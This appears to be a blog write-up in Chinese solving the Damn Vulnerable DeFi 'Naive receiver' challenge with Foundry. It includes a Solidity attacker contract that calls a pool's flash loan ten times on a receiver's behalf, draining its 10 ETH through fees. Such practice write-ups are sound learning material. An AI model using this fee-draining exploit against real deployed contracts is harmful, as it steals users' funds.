banner
zach

zach

github
twitter
medium

該專案是一個名為"damn-vulnerable-defi"的DeFi應用程式,其中包含一個名為"Naive receiver"的功能。

挑戰 #2 - Naive receiver#

天真的接收者

為了學習 Solidity 和 Foundry 系統,我重新編寫了 damnvulnerable-defi 的解題方案,並使用 Foundry 測試框架。歡迎交流和共同建設~🎉

合約#

  • NaiveReceiverLenderPool:繼承 IERC3156FlashLender,提供閃電貸款功能
  • FlashLoanReceiver:繼承 IERC3156FlashBorrower,用於發起閃電貸款接收回調

腳本#

  • 部署 NaiveReceiverLenderPool 合約,向 pool 中轉入 1000eth,pool 的閃電貸款手續費為 1eth
  • 部署 FlashLoanReceiver 合約,向 receiver 中轉入 10eth
  • 執行攻擊腳本
  • 期望 receiver 中的餘額為 0,pool 中的餘額為 1000+10eth

解題方案#

攻擊目標是使 receiver 中的餘額為空,因為每次通過 pool 執行閃電貸款都需要 1eth 的手續費,因此只需通過 receiver 向 pool 執行十次閃電貸款即可將 10eth 全部通過手續費的方式轉給 pool

image

根據題目要求,儘量在一筆交易完成,因此可以編寫合約在一筆交易中完成十次閃電貸款

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/naive-receiver/FlashLoanReceiver.sol";
import "../../src/naive-receiver/NaiveReceiverLenderPool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";

contract Attacker {
    constructor(address payable _pool, address payable _receiver){
        NaiveReceiverLenderPool pool = NaiveReceiverLenderPool(_pool);
        for(uint256 i=0; i<10; i++){
            pool.flashLoan(IERC3156FlashBorrower(_receiver), address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE), 1, "0x");
        }
    }
}
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。